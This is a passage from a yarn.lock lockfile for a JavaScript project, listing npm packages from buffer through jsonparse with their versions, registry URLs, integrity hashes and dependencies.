sha512-kWSuLN694+KTk8SrYvCqwP2WcgQjoRCiF5b4QDvkkz8EmgD+aWAIceGFKMIAdmF/pH+vpgNV3d3kAKorcdAmWA== 394 | 395 | buffer@6.0.1: 396 | version "6.0.1" 397 | resolved "https://registry.npmjs.org/buffer/-/buffer-6.0.1.tgz" 398 | integrity sha512-rVAXBwEcEoYtxnHSO5iWyhzV/O1WMtkUYWlfdLS7FjU4PnSJJHEfHXi/uHPI5EwltmOA794gN3bm3/pzuctWjQ== 399 | dependencies: 400 | base64-js "^1.3.1" 401 | ieee754 "^1.2.1" 402 | 403 | buffer@~6.0.3: 404 | version "6.0.3" 405 | resolved "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz" 406 | integrity sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA== 407 | dependencies: 408 | base64-js "^1.3.1" 409 | ieee754 "^1.2.1" 410 | 411 | bufferutil@^4.0.1: 412 | version "4.0.6" 413 | resolved "https://registry.npmjs.org/bufferutil/-/bufferutil-4.0.6.tgz" 414 | integrity sha512-jduaYOYtnio4aIAyc6UbvPCVcgq7nYpVnucyxr6eCYg/Woad9Hf/oxxBRDnGGjPfjUm6j5O/uBWhIu4iLebFaw== 415 | dependencies: 416 | node-gyp-build "^4.3.0" 417 | 418 | camelcase@^5.3.1: 419 | version "5.3.1" 420 | resolved "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz" 421 | integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg== 422 | 423 | camelcase@^6.0.0: 424 | version "6.3.0" 425 | resolved "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz" 426 | integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA== 427 | 428 | chai@^4.3.4: 429 | version "4.3.6" 430 | resolved "https://registry.npmjs.org/chai/-/chai-4.3.6.tgz" 431 | integrity sha512-bbcp3YfHCUzMOvKqsztczerVgBKSsEijCySNlHHbX3VG1nskvqjz5Rfso1gGwD6w6oOV3eI60pKuMOV5MV7p3Q== 432 | dependencies: 433 | assertion-error "^1.1.0" 434 | check-error "^1.0.2" 435 | deep-eql "^3.0.1" 436 | get-func-name "^2.0.0" 437 | loupe "^2.3.1" 438 | pathval "^1.1.1" 439 | type-detect "^4.0.5" 440 | 441 | chalk@^4.1.0: 442 | version "4.1.2" 443 | resolved "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz" 444 | integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA== 445 | dependencies: 446 | ansi-styles "^4.1.0" 447 | supports-color "^7.1.0" 448 | 449 | check-error@^1.0.2: 450 | version "1.0.2" 451 | resolved "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz" 452 | integrity sha1-V00xLt2Iu13YkS6Sht1sCu1KrII= 453 | 454 | check-more-types@2.24.0: 455 | version "2.24.0" 456 | resolved "https://registry.npmjs.org/check-more-types/-/check-more-types-2.24.0.tgz" 457 | integrity sha1-FCD/sQ/URNz8ebQ4kbv//TKoRgA= 458 | 459 | chokidar@3.5.3: 460 | version "3.5.3" 461 | resolved "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz" 462 | integrity sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw== 463 | dependencies: 464 | anymatch "~3.1.2" 465 | braces "~3.0.2" 466 | glob-parent "~5.1.2" 467 | is-binary-path "~2.1.0" 468 | is-glob "~4.0.1" 469 | normalize-path "~3.0.0" 470 | readdirp "~3.6.0" 471 | optionalDependencies: 472 | fsevents "~2.3.2" 473 | 474 | circular-json@^0.5.9: 475 | version "0.5.9" 476 | resolved "https://registry.npmjs.org/circular-json/-/circular-json-0.5.9.tgz" 477 | integrity sha512-4ivwqHpIFJZBuhN3g/pEcdbnGUywkBblloGbkglyloVjjR3uT6tieI89MVOfbP2tHX5sgb01FuLgAOzebNlJNQ== 478 | 479 | cliui@^7.0.2: 480 | version "7.0.4" 481 | resolved "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz" 482 | integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ== 483 | dependencies: 484 | string-width "^4.2.0" 485 | strip-ansi "^6.0.0" 486 | wrap-ansi "^7.0.0" 487 | 488 | color-convert@^2.0.1: 489 | version "2.0.1" 490 | resolved "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz" 491 | integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ== 492 | dependencies: 493 | color-name "~1.1.4" 494 | 495 | color-name@~1.1.4: 496 | version "1.1.4" 497 | resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz" 498 | integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== 499 | 500 | commander@^2.20.3: 501 | version "2.20.3" 502 | resolved "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz" 503 | integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ== 504 | 505 | concat-map@0.0.1: 506 | version "0.0.1" 507 | resolved "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz" 508 | integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s= 509 | 510 | cross-fetch@^3.1.4, cross-fetch@^3.1.5: 511 | version "3.1.5" 512 | resolved "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz" 513 | integrity sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw== 514 | dependencies: 515 | node-fetch "2.6.7" 516 | 517 | cross-spawn@^7.0.3: 518 | version "7.0.3" 519 | resolved "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz" 520 | integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w== 521 | dependencies: 522 | path-key "^3.1.0" 523 | shebang-command "^2.0.0" 524 | which "^2.0.1" 525 | 526 | crypto-hash@^1.3.0: 527 | version "1.3.0" 528 | resolved "https://registry.npmjs.org/crypto-hash/-/crypto-hash-1.3.0.tgz" 529 | integrity sha512-lyAZ0EMyjDkVvz8WOeVnuCPvKVBXcMv1l5SVqO1yC7PzTwrD/pPje/BIRbWhMoPe436U+Y2nD7f5bFx0kt+Sbg== 530 | 531 | debug@4.3.2: 532 | version "4.3.2" 533 | resolved "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz" 534 | integrity sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw== 535 | dependencies: 536 | ms "2.1.2" 537 | 538 | debug@4.3.3: 539 | version "4.3.3" 540 | resolved "https://registry.npmjs.org/debug/-/debug-4.3.3.tgz" 541 | integrity sha512-/zxw5+vh1Tfv+4Qn7a5nsbcJKPaSvCDhojn6FEl9vupwK2VCSDtEiEtqr8DFtzYFOdz63LBkxec7DYuc2jon6Q== 542 | dependencies: 543 | ms "2.1.2" 544 | 545 | decamelize@^4.0.0: 546 | version "4.0.0" 547 | resolved "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz" 548 | integrity sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ== 549 | 550 | decimal.js@^10.3.1: 551 | version "10.3.1" 552 | resolved "https://registry.npmjs.org/decimal.js/-/decimal.js-10.3.1.tgz" 553 | integrity sha512-V0pfhfr8suzyPGOx3nmq4aHqabehUZn6Ch9kyFpV79TGDTWFmHqUqXdabR7QHqxzrYolF4+tVmJhUG4OURg5dQ== 554 | 555 | deep-eql@^3.0.1: 556 | version "3.0.1" 557 | resolved "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz" 558 | integrity sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw== 559 | dependencies: 560 | type-detect "^4.0.0" 561 | 562 | delay@^5.0.0: 563 | version "5.0.0" 564 | resolved "https://registry.npmjs.org/delay/-/delay-5.0.0.tgz" 565 | integrity sha512-ReEBKkIfe4ya47wlPYf/gu5ib6yUG0/Aez0JQZQz94kiWtRQvZIQbTiehsnwHvLSWJnQdhVeqYue7Id1dKr0qw== 566 | 567 | diff@5.0.0: 568 | version "5.0.0" 569 | resolved "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz" 570 | integrity sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w== 571 | 572 | diff@^3.1.0: 573 | version "3.5.0" 574 | resolved "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz" 575 | integrity sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA== 576 | 577 | dot-case@^3.0.4: 578 | version "3.0.4" 579 | resolved "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz" 580 | integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w== 581 | dependencies: 582 | no-case "^3.0.4" 583 | tslib "^2.0.3" 584 | 585 | dotenv@10.0.0: 586 | version "10.0.0" 587 | resolved "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz" 588 | integrity sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q== 589 | 590 | duplexer@~0.1.1: 591 | version "0.1.2" 592 | resolved "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz" 593 | integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg== 594 | 595 | elliptic@^6.5.4: 596 | version "6.5.4" 597 | resolved "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz" 598 | integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ== 599 | dependencies: 600 | bn.js "^4.11.9" 601 | brorand "^1.1.0" 602 | hash.js "^1.0.0" 603 | hmac-drbg "^1.0.1" 604 | inherits "^2.0.4" 605 | minimalistic-assert "^1.0.1" 606 | minimalistic-crypto-utils "^1.0.1" 607 | 608 | emoji-regex@^8.0.0: 609 | version "8.0.0" 610 | resolved "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz" 611 | integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A== 612 | 613 | es6-promise@^4.0.3: 614 | version "4.2.8" 615 | resolved "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz" 616 | integrity sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w== 617 | 618 | es6-promisify@^5.0.0: 619 | version "5.0.0" 620 | resolved "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz" 621 | integrity sha1-UQnWLz5W6pZ8S2NQWu8IKRyKUgM= 622 | dependencies: 623 | es6-promise "^4.0.3" 624 | 625 | escalade@^3.1.1: 626 | version "3.1.1" 627 | resolved "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz" 628 | integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw== 629 | 630 | escape-string-regexp@4.0.0: 631 | version "4.0.0" 632 | resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz" 633 | integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== 634 | 635 | event-stream@=3.3.4: 636 | version "3.3.4" 637 | resolved "https://registry.npmjs.org/event-stream/-/event-stream-3.3.4.tgz" 638 | integrity sha1-SrTJoPWlTbkzi0w02Gv86PSzVXE= 639 | dependencies: 640 | duplexer "~0.1.1" 641 | from "~0" 642 | map-stream "~0.1.0" 643 | pause-stream "0.0.11" 644 | split "0.3" 645 | stream-combiner "~0.0.4" 646 | through "~2.3.1" 647 | 648 | eventemitter3@^4.0.7: 649 | version "4.0.7" 650 | resolved "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz" 651 | integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw== 652 | 653 | execa@5.1.1: 654 | version "5.1.1" 655 | resolved "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz" 656 | integrity sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg== 657 | dependencies: 658 | cross-spawn "^7.0.3" 659 | get-stream "^6.0.0" 660 | human-signals "^2.1.0" 661 | is-stream "^2.0.0" 662 | merge-stream "^2.0.0" 663 | npm-run-path "^4.0.1" 664 | onetime "^5.1.2" 665 | signal-exit "^3.0.3" 666 | strip-final-newline "^2.0.0" 667 | 668 | eyes@^0.1.8: 669 | version "0.1.8" 670 | resolved "https://registry.npmjs.org/eyes/-/eyes-0.1.8.tgz" 671 | integrity sha1-Ys8SAjTGg3hdkCNIqADvPgzCC8A= 672 | 673 | file-uri-to-path@1.0.0: 674 | version "1.0.0" 675 | resolved "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz" 676 | integrity sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw== 677 | 678 | fill-range@^7.0.1: 679 | version "7.0.1" 680 | resolved "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz" 681 | integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ== 682 | dependencies: 683 | to-regex-range "^5.0.1" 684 | 685 | find-up@5.0.0: 686 | version "5.0.0" 687 | resolved "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz" 688 | integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng== 689 | dependencies: 690 | locate-path "^6.0.0" 691 | path-exists "^4.0.0" 692 | 693 | find@^0.3.0: 694 | version "0.3.0" 695 | resolved "https://registry.npmjs.org/find/-/find-0.3.0.tgz" 696 | integrity sha512-iSd+O4OEYV/I36Zl8MdYJO0xD82wH528SaCieTVHhclgiYNe9y+yPKSwK+A7/WsmHL1EZ+pYUJBXWTL5qofksw== 697 | dependencies: 698 | traverse-chain "~0.1.0" 699 | 700 | flat@^5.0.2: 701 | version "5.0.2" 702 | resolved "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz" 703 | integrity sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ== 704 | 705 | follow-redirects@^1.14.0: 706 | version "1.14.9" 707 | resolved "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz" 708 | integrity sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w== 709 | 710 | from@~0: 711 | version "0.1.7" 712 | resolved "https://registry.npmjs.org/from/-/from-0.1.7.tgz" 713 | integrity sha1-g8YK/Fi5xWmXAH7Rp2izqzA6RP4= 714 | 715 | fs.realpath@^1.0.0: 716 | version "1.0.0" 717 | resolved "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz" 718 | integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8= 719 | 720 | fsevents@~2.3.2: 721 | version "2.3.2" 722 | resolved "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz" 723 | integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA== 724 | 725 | get-caller-file@^2.0.5: 726 | version "2.0.5" 727 | resolved "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz" 728 | integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg== 729 | 730 | get-func-name@^2.0.0: 731 | version "2.0.0" 732 | resolved "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz" 733 | integrity sha1-6td0q+5y4gQJQzoGY2YCPdaIekE= 734 | 735 | get-stream@^6.0.0: 736 | version "6.0.1" 737 | resolved "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz" 738 | integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg== 739 | 740 | glob-parent@~5.1.2: 741 | version "5.1.2" 742 | resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz" 743 | integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow== 744 | dependencies: 745 | is-glob "^4.0.1" 746 | 747 | glob@7.2.0: 748 | version "7.2.0" 749 | resolved "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz" 750 | integrity sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q== 751 | dependencies: 752 | fs.realpath "^1.0.0" 753 | inflight "^1.0.4" 754 | inherits "2" 755 | minimatch "^3.0.4" 756 | once "^1.3.0" 757 | path-is-absolute "^1.0.0" 758 | 759 | growl@1.10.5: 760 | version "1.10.5" 761 | resolved "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz" 762 | integrity sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA== 763 | 764 | has-flag@^4.0.0: 765 | version "4.0.0" 766 | resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz" 767 | integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== 768 | 769 | hash.js@1.1.7, hash.js@^1.0.0, hash.js@^1.0.3: 770 | version "1.1.7" 771 | resolved "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz" 772 | integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA== 773 | dependencies: 774 | inherits "^2.0.3" 775 | minimalistic-assert "^1.0.1" 776 | 777 | he@1.2.0: 778 | version "1.2.0" 779 | resolved "https://registry.npmjs.org/he/-/he-1.2.0.tgz" 780 | integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw== 781 | 782 | hmac-drbg@^1.0.1: 783 | version "1.0.1" 784 | resolved "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz" 785 | integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE= 786 | dependencies: 787 | hash.js "^1.0.3" 788 | minimalistic-assert "^1.0.0" 789 | minimalistic-crypto-utils "^1.0.1" 790 | 791 | human-signals@^2.1.0: 792 | version "2.1.0" 793 | resolved "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz" 794 | integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw== 795 | 796 | ieee754@^1.2.1: 797 | version "1.2.1" 798 | resolved "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz" 799 | integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA== 800 | 801 | inflight@^1.0.4: 802 | version "1.0.6" 803 | resolved "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz" 804 | integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk= 805 | dependencies: 806 | once "^1.3.0" 807 | wrappy "1" 808 | 809 | inherits@2, inherits@^2.0.3, inherits@^2.0.4: 810 | version "2.0.4" 811 | resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz" 812 | integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== 813 | 814 | is-binary-path@~2.1.0: 815 | version "2.1.0" 816 | resolved "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz" 817 | integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw== 818 | dependencies: 819 | binary-extensions "^2.0.0" 820 | 821 | is-extglob@^2.1.1: 822 | version "2.1.1" 823 | resolved "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz" 824 | integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI= 825 | 826 | is-fullwidth-code-point@^3.0.0: 827 | version "3.0.0" 828 | resolved "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz" 829 | integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg== 830 | 831 | is-glob@^4.0.1, is-glob@~4.0.1: 832 | version "4.0.3" 833 | resolved "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz" 834 | integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg== 835 | dependencies: 836 | is-extglob "^2.1.1" 837 | 838 | is-number@^7.0.0: 839 | version "7.0.0" 840 | resolved "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz" 841 | integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng== 842 | 843 | is-plain-obj@^2.1.0: 844 | version "2.1.0" 845 | resolved "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz" 846 | integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA== 847 | 848 | is-stream@^2.0.0: 849 | version "2.0.1" 850 | resolved "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz" 851 | integrity sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg== 852 | 853 | is-unicode-supported@^0.1.0: 854 | version "0.1.0" 855 | resolved "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz" 856 | integrity sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw== 857 | 858 | isexe@^2.0.0: 859 | version "2.0.0" 860 | resolved "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz" 861 | integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA= 862 | 863 | isomorphic-ws@^4.0.1: 864 | version "4.0.1" 865 | resolved "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz" 866 | integrity sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w== 867 | 868 | jayson@^3.4.4: 869 | version "3.6.6" 870 | resolved "https://registry.npmjs.org/jayson/-/jayson-3.6.6.tgz" 871 | integrity sha512-f71uvrAWTtrwoww6MKcl9phQTC+56AopLyEenWvKVAIMz+q0oVGj6tenLZ7Z6UiPBkJtKLj4kt0tACllFQruGQ== 872 | dependencies: 873 | "@types/connect" "^3.4.33" 874 | "@types/express-serve-static-core" "^4.17.9" 875 | "@types/lodash" "^4.14.159" 876 | "@types/node" "^12.12.54" 877 | "@types/ws" "^7.4.4" 878 | JSONStream "^1.3.5" 879 | commander "^2.20.3" 880 | delay "^5.0.0" 881 | es6-promisify "^5.0.0" 882 | eyes "^0.1.8" 883 | isomorphic-ws "^4.0.1" 884 | json-stringify-safe "^5.0.1" 885 | lodash "^4.17.20" 886 | uuid "^8.3.2" 887 | ws "^7.4.5" 888 | 889 | joi@^17.4.0: 890 | version "17.6.0" 891 | resolved "https://registry.npmjs.org/joi/-/joi-17.6.0.tgz" 892 | integrity sha512-OX5dG6DTbcr/kbMFj0KGYxuew69HPcAE3K/sZpEV2nP6e/j/C0HV+HNiBPCASxdx5T7DMoa0s8UeHWMnb6n2zw== 893 | dependencies: 894 | "@hapi/hoek" "^9.0.0" 895 | "@hapi/topo" "^5.0.0" 896 | "@sideway/address" "^4.1.3" 897 | "@sideway/formula" "^3.0.0" 898 | "@sideway/pinpoint" "^2.0.0" 899 | 900 | js-sha256@^0.9.0: 901 | version "0.9.0" 902 | resolved "https://registry.npmjs.org/js-sha256/-/js-sha256-0.9.0.tgz" 903 | integrity sha512-sga3MHh9sgQN2+pJ9VYZ+1LPwXOxuBJBA5nrR5/ofPfuiJBE2hnjsaN8se8JznOmGLN2p49Pe5U/ttafcs/apA== 904 | 905 | js-sha3@^0.8.0: 906 | version "0.8.0" 907 | resolved "https://registry.npmjs.org/js-sha3/-/js-sha3-0.8.0.tgz" 908 | integrity sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q== 909 | 910 | js-yaml@4.1.0: 911 | version "4.1.0" 912 | resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz" 913 | integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA== 914 | dependencies: 915 | argparse "^2.0.1" 916 | 917 | json-stringify-safe@^5.0.1: 918 | version "5.0.1" 919 | resolved "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz" 920 | integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus= 921 | 922 | json-to-pretty-yaml@^1.2.2: 923 | version "1.2.2" 924 | resolved "https://registry.npmjs.org/json-to-pretty-yaml/-/json-to-pretty-yaml-1.2.2.tgz" 925 | integrity sha1-9M0L0KXo/h3yWq9boRiwmf2ZLVs= 926 | dependencies: 927 | remedial "^1.0.7" 928 | remove-trailing-spaces "^1.0.6" 929 | 930 | json5@^1.0.1: 931 | version "1.0.1" 932 | resolved "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz" 933 | integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow== 934 | dependencies: 935 | minimist "^1.2.0" 936 | 937 | jsonparse@^1.2.0: 938 | version 